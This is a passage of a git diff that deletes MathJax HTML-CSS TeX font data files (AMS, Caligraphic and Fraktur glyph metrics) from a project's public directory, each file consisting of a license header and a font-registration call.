- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{9632:[689,0,778,55,722],9633:[689,0,778,55,722],9650:[575,20,722,84,637],9651:[575,20,722,84,637],9654:[539,41,778,83,694],9660:[576,20,722,84,638],9661:[576,20,722,84,638],9664:[539,41,778,83,694],9674:[716,132,667,56,612]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/GeometricShapes.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GreekAndCoptic.js
deleted file mode 100644
index 32eb6677..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{989:[605,85,778,55,719],1008:[434,6,667,37,734]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Latin1Supplement.js
deleted file mode 100644
index 9919e56e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{160:[0,0,250,0,0],165:[684,0,750,11,738],174:[709,175,947,32,915],240:[749,21,556,42,510]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LatinExtendedA.js
deleted file mode 100644
index 3fc444de..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{295:[695,13,540,42,562]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/LatinExtendedA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LetterlikeSymbols.js
deleted file mode 100644
index ce84c05e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{8463:[695,13,540,42,562],8487:[685,22,722,44,675],8498:[695,1,556,55,497],8502:[763,21,667,-22,687],8503:[764,43,444,-22,422],8504:[764,43,667,54,640],8513:[706,23,639,37,577]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Main.js
deleted file mode 100644
index 50c90a56..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS={directory:"AMS/Regular",family:"MathJax_AMS",testString:"MATHJAX AMS",Ranges:[[0,127,"BBBold"],[128,255,"Latin1Supplement"],[256,383,"LatinExtendedA"],[688,767,"SpacingModLetters"],[768,879,"CombDiacritMarks"],[880,1023,"GreekAndCoptic"],[8192,8303,"GeneralPunctuation"],[8448,8527,"LetterlikeSymbols"],[8592,8703,"Arrows"],[8704,8959,"MathOperators"],[8960,9215,"MiscTechnical"],[9312,9471,"EnclosedAlphanum"],[9472,9599,"BoxDrawing"],[9632,9727,"GeometricShapes"],[9728,9983,"MiscSymbols"],[9984,10175,"Dingbats"],[10624,10751,"MiscMathSymbolsB"],[10752,11007,"SuppMathOperators"],[57344,63743,"PUA"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_AMS"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MathOperators.js
deleted file mode 100644
index 276b8b1f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{8705:[846,21,500,56,444],8708:[860,166,556,55,498],8709:[587,3,778,54,720],8717:[440,1,429,102,457],8722:[270,-230,500,83,417],8724:[766,94,778,56,722],8726:[430,23,778,91,685],8733:[472,-28,778,56,722],8736:[694,0,722,55,666],8737:[714,20,722,55,667],8738:[551,51,722,55,666],8739:[430,23,222,91,131],8740:[750,252,278,-21,297],8741:[431,23,389,55,331],8742:[750,250,500,-20,518],8756:[471,82,667,24,643],8757:[471,82,667,23,643],8764:[365,-132,778,55,719],8765:[367,-133,778,56,722],8769:[468,-32,778,55,719],8770:[463,-34,778,55,720],8774:[652,155,778,54,720],8776:[482,-50,778,54,719],8778:[579,39,778,51,725],8782:[492,-8,778,55,722],8783:[492,-133,778,55,722],8785:[609,108,778,55,722],8786:[601,101,778,15,762],8787:[601,102,778,14,762],8790:[367,-133,778,55,722],8791:[721,-133,778,55,722],8796:[859,-133,778,55,723],8806:[753,175,778,83,694],8807:[753,175,778,82,694],8808:[752,286,778,82,693],8809:[752,286,778,82,693],8812:[750,250,500,74,425],8814:[708,209,778,82,693],8815:[708,209,778,82,694],8816:[801,303,778,82,694],8817:[801,303,778,82,695],8818:[732,228,778,56,722],8819:[732,229,778,56,722],8822:[681,253,778,43,735],8823:[681,253,778,83,694],8828:[580,154,778,83,695],8829:[580,154,778,82,694],8830:[732,228,778,56,722],8831:[732,228,778,56,722],8832:[705,208,778,82,693],8833:[705,208,778,82,693],8840:[801,303,778,83,693],8841:[801,303,778,82,691],8842:[635,241,778,84,693],8843:[635,241,778,82,691],8847:[539,41,778,83,694],8848:[539,41,778,63,714],8858:[583,82,778,57,721],8859:[583,82,778,57,721],8861:[583,82,778,57,721],8862:[689,0,778,55,722],8863:[689,0,778,55,722],8864:[689,0,778,55,722],8865:[689,0,778,55,722],8872:[694,0,611,55,555],8873:[694,0,722,55,666],8874:[694,0,889,55,833],8876:[695,1,611,-55,555],8877:[695,1,611,-55,554],8878:[695,1,722,-55,665],8879:[695,1,722,-55,665],8882:[539,41,778,83,694],8883:[539,41,778,83,694],8884:[636,138,778,83,694],8885:[636,138,778,83,694],8888:[408,-92,1111,55,1055],8890:[431,213,556,56,500],8891:[716,0,611,54,555],8892:[716,1,611,55,555],8901:[189,0,278,55,222],8903:[545,44,778,55,720],8905:[492,-8,778,146,628],8906:[492,-8,778,146,628],8907:[695,22,778,55,722],8908:[694,23,778,54,722],8909:[464,-36,778,56,722],8910:[579,21,760,83,676],8911:[578,22,760,83,676],8912:[540,41,778,84,695],8913:[541,40,778,82,693],8914:[598,22,667,55,611],8915:[599,22,667,55,611],8916:[736,22,667,56,611],8918:[541,41,778,82,693],8919:[541,41,778,81,693],8920:[568,68,1333,56,1277],8921:[568,67,1333,55,1278],8922:[886,386,778,83,675],8923:[886,386,778,82,674],8926:[734,0,778,83,695],8927:[735,0,778,82,695],8928:[801,303,778,82,693],8929:[801,303,778,81,694],8934:[730,359,778,55,719],8935:[730,359,778,55,719],8936:[730,360,778,55,719],8937:[730,359,778,55,719],8938:[706,208,778,82,693],8939:[706,208,778,82,693],8940:[802,303,778,81,693],8941:[801,303,778,82,694]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/MathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscMathSymbolsB.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscMathSymbolsB.js
deleted file mode 100644
index e781fb8d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscMathSymbolsB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscMathSymbolsB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{10731:[716,132,667,56,612]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/MiscMathSymbolsB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscSymbols.js
deleted file mode 100644
index 7a632916..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{9733:[695,111,944,49,896]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/MiscSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscTechnical.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscTechnical.js
deleted file mode 100644
index d5fa92d5..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{8994:[378,-122,778,55,722],8995:[378,-143,778,55,722]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/MiscTechnical.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/PUA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/PUA.js
deleted file mode 100644
index 067c2994..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/PUA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/PUA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{57350:[430,23,222,-20,240],57351:[431,24,389,-20,407],57352:[605,85,778,55,719],57353:[434,6,667,37,734],57356:[752,284,778,81,693],57357:[752,284,778,81,693],57358:[919,421,778,82,694],57359:[801,303,778,81,695],57360:[801,303,778,82,694],57361:[919,421,778,82,694],57366:[828,330,778,82,694],57367:[752,332,778,82,694],57368:[829,330,778,82,695],57369:[752,333,778,81,693],57370:[635,256,778,84,693],57371:[634,254,778,82,691]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/PUA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SpacingModLetters.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SpacingModLetters.js
deleted file mode 100644
index d633938a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{710:[845,-561,2333,-14,2346],732:[899,-628,2333,1,2330]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/SpacingModLetters.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SuppMathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SuppMathOperators.js
deleted file mode 100644
index 6b260d29..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{10846:[813,97,611,55,555],10877:[636,138,778,83,694],10878:[636,138,778,82,694],10885:[762,291,778,54,722],10886:[763,290,778,54,722],10887:[635,241,778,82,693],10888:[635,241,778,81,693],10889:[761,387,778,57,718],10890:[761,388,778,57,719],10891:[1003,463,778,83,695],10892:[1003,463,778,83,694],10901:[636,138,778,83,694],10902:[636,138,778,83,694],10933:[752,287,778,82,693],10934:[752,286,778,82,694],10935:[761,294,778,57,717],10936:[761,294,778,57,717],10937:[761,337,778,57,719],10938:[761,337,778,57,719],10949:[753,216,778,83,695],10950:[754,215,778,82,694],10955:[783,385,778,82,693],10956:[783,385,778,82,693]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/SuppMathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Bold/Main.js
deleted file mode 100644
index 2ec138c3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Caligraphic-bold"]={directory:"Caligraphic/Bold",family:"MathJax_Caligraphic",weight:"bold",testString:"MATHJAX CALIGRAPHIC",skew:{65:0.224,66:0.16,67:0.16,68:0.0958,69:0.128,70:0.128,71:0.128,72:0.128,73:0.0319,74:0.192,75:0.0639,76:0.16,77:0.16,78:0.0958,79:0.128,80:0.0958,81:0.128,82:0.0958,83:0.16,84:0.0319,85:0.0958,86:0.0319,87:0.0958,88:0.16,89:0.0958,90:0.16},32:[0,0,250,0,0],48:[460,17,575,46,528],49:[462,0,575,80,495],50:[460,1,575,51,518],51:[462,211,575,48,525],52:[469,194,575,31,543],53:[461,211,575,57,517],54:[660,17,575,48,526],55:[477,211,575,64,559],56:[661,17,575,48,526],57:[461,210,575,48,526],65:[752,49,921,39,989],66:[705,18,748,40,740],67:[703,20,613,20,599],68:[687,0,892,19,885],69:[703,16,607,37,627],70:[686,30,814,17,930],71:[703,114,682,50,671],72:[686,49,987,19,946],73:[686,0,642,-27,746],74:[687,114,779,53,937],75:[703,18,871,40,834],76:[703,17,788,40,751],77:[703,49,1378,38,1353],78:[841,49,937,-24,1105],79:[704,17,906,63,882],80:[687,67,810,20,846],81:[703,147,939,120,905],82:[687,18,990,20,981],83:[704,16,696,25,722],84:[720,69,644,38,947],85:[687,24,715,-11,771],86:[686,77,737,25,774],87:[686,77,1169,25,1206],88:[687,-1,817,56,906],89:[686,164,759,36,797],90:[687,1,818,46,853],160:[0,0,250,0,0]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Caligraphic-bold"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Caligraphic/Bold/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Regular/Main.js
deleted file mode 100644
index d41d743c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Caligraphic/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Caligraphic={directory:"Caligraphic/Regular",family:"MathJax_Caligraphic",testString:"MATHJAX CALIGRAPHIC",skew:{65:0.194,66:0.139,67:0.139,68:0.0833,69:0.111,70:0.111,71:0.111,72:0.111,73:0.0278,74:0.167,75:0.0556,76:0.139,77:0.139,78:0.0833,79:0.111,80:0.0833,81:0.111,82:0.0833,83:0.139,84:0.0278,85:0.0833,86:0.0278,87:0.0833,88:0.139,89:0.0833,90:0.139},32:[0,0,250,0,0],48:[452,22,500,39,460],49:[454,0,500,86,426],50:[453,0,500,44,449],51:[452,216,500,41,456],52:[464,194,500,27,471],53:[453,217,500,50,448],54:[666,22,500,42,456],55:[463,216,500,54,485],56:[666,21,500,43,457],57:[453,216,500,42,457],65:[728,50,798,30,819],66:[705,22,657,31,664],67:[705,25,527,12,533],68:[684,1,771,19,767],69:[706,22,528,30,565],70:[683,32,719,18,829],71:[704,119,595,43,599],72:[683,48,845,18,803],73:[683,1,545,-31,642],74:[683,119,678,47,839],75:[705,23,762,32,733],76:[706,22,690,32,656],77:[705,50,1201,28,1137],78:[790,50,820,-27,979],79:[705,22,796,58,777],80:[684,57,696,19,733],81:[706,131,817,114,787],82:[683,22,848,19,837],83:[705,23,606,17,642],84:[717,69,545,34,834],85:[684,28,626,-17,687],86:[683,52,613,25,658],87:[683,53,988,25,1034],88:[684,1,713,52,807],89:[683,143,668,31,714],90:[683,0,725,37,767],160:[0,0,250,0,0]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Caligraphic"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Caligraphic/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/BasicLatin.js
deleted file mode 100644
index da547b09..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Fraktur-bold"],{32:[0,0,250,0,0],33:[689,12,349,107,241],34:[695,-432,254,10,232],38:[696,16,871,44,839],39:[695,-436,250,80,158],40:[737,186,459,134,347],41:[735,187,459,105,326],42:[692,-449,328,40,277],43:[598,82,893,56,837],44:[107,191,328,118,253],45:[275,-236,893,54,833],46:[102,15,328,103,237],47:[721,182,593,41,550],48:[501,12,593,42,533],49:[489,0,593,54,548],50:[491,-2,593,44,563],51:[488,193,593,31,523],52:[495,196,593,13,565],53:[481,190,593,19,518],54:[704,12,593,48,547],55:[479,197,593,54,591],56:[714,5,593,45,542],57:[487,195,593,29,549],58:[457,12,255,57,197],59:[458,190,255,56,211],61:[343,-168,582,22,559],63:[698,14,428,39,422],65:[686,31,847,28,827],66:[684,31,1044,57,965],67:[676,32,723,72,726],68:[684,29,982,31,896],69:[686,29,783,74,728],70:[684,147,722,17,727],71:[687,29,927,74,844],72:[684,126,851,6,752],73:[681,25,655,32,623],74:[681,141,652,-8,617],75:[682,26,789,20,806],76:[683,28,786,30,764],77:[684,33,1239,26,1232],78:[679,30,983,26,973],79:[726,30,976,12,881],80:[688,223,977,32,943],81:[726,83,976,12,918],82:[688,28,978,31,978],83:[685,31,978,82,905],84:[686,30,790,31,802],85:[688,39,851,18,871],86:[685,29,982,24,966],87:[683,30,1235,25,1240],88:[681,35,849,32,835],89:[688,214,984,33,878],90:[677,148,711,-4,624],91:[740,130,257,36,226],93:[738,132,257,14,208],94:[734,-452,590,1,584],97:[472,32,603,79,586],98:[690,32,590,85,504],99:[473,26,464,87,424],100:[632,28,589,-1,511],101:[471,27,472,81,428],102:[687,222,388,35,372],103:[472,208,595,17,541],104:[687,207,615,89,507],105:[686,25,331,3,327],106:[682,203,332,-19,238],107:[682,25,464,34,432],108:[681,24,337,100,312],109:[477,31,921,16,900],110:[474,28,654,5,608],111:[482,34,609,107,515],112:[558,207,604,-1,520],113:[485,211,596,87,515],114:[472,26,460,13,453],115:[479,34,523,-23,482],116:[648,27,393,43,407],117:[472,32,589,9,603],118:[546,27,604,56,507],119:[549,32,918,55,815],120:[471,188,459,8,441],121:[557,221,589,60,512],122:[471,214,461,-7,378]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Bold/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Main.js
deleted file mode 100644
index 5b67baac..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Fraktur-bold"]={directory:"Fraktur/Bold",family:"MathJax_Fraktur",weight:"bold",testString:"MathJax Fraktur",Ranges:[[0,127,"BasicLatin"],[128,57343,"Other"],[58112,58128,"PUA"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Fraktur-bold"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Bold/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Other.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Other.js
deleted file mode 100644
index 7e5a3dcb..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Fraktur-bold"],{160:[0,0,250,0,0],8216:[708,-411,254,53,187],8217:[692,-394,254,58,193]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Fraktur/Bold/Other.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/PUA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/PUA.js
deleted file mode 100644
index 9430cc2c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/PUA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Fraktur/Bold/PUA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
